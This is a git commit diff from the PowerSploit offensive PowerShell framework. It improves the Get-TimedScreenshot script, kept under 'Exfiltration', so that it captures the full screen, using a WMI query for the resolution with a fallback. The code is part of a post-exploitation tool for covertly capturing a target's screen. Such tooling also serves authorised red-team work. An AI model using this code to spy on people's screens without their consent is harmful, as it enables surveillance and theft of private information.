diff options
author | Matt Graeber <matt@exploit-monday.com> | 2016-03-10 18:00:43 -0800 |
---|---|---|
committer | Matt Graeber <matt@exploit-monday.com> | 2016-03-10 18:00:43 -0800 |
commit | be2a8ecf15ae467f36b5f3dea6b1b673d97d92a9 (patch) | |
tree | 8b1c06993dfe701f67a8ded44b0f042387d05f02 /Exfiltration | |
parent | f305e31cf56ced7941ccbd7864a3f372037dc91c (diff) | |
download | PowerSploit-be2a8ecf15ae467f36b5f3dea6b1b673d97d92a9.tar.gz PowerSploit-be2a8ecf15ae467f36b5f3dea6b1b673d97d92a9.zip |
Get-TimedScreenshot enhancement. Issue #114
Get-TimedScreenshot now captures the entire screen. The screen
resolution is obtained via WMI. If for some reason that fails, it will
fall back to the old, less ideal method.
Diffstat (limited to 'Exfiltration')
-rw-r--r-- | Exfiltration/Get-TimedScreenshot.ps1 | 20 |
1 files changed, 18 insertions, 2 deletions
diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1 index e1ca823..89eceb0 100644 --- a/Exfiltration/Get-TimedScreenshot.ps1 +++ b/Exfiltration/Get-TimedScreenshot.ps1 @@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed #Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
- $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
+
+ $VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
+
+ if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
+ $Width = [Int] $Matches['ScreenWidth']
+ $Height = [Int] $Matches['ScreenHeight']
+ } else {
+ $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
+
+ $Width = $ScreenBounds.Width
+ $Height = $ScreenBounds.Height
+ }
+
+ $Size = New-Object System.Drawing.Size($Width, $Height)
+ $Point = New-Object System.Drawing.Point(0, 0)
+
+ $ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
- $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
+ $DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
|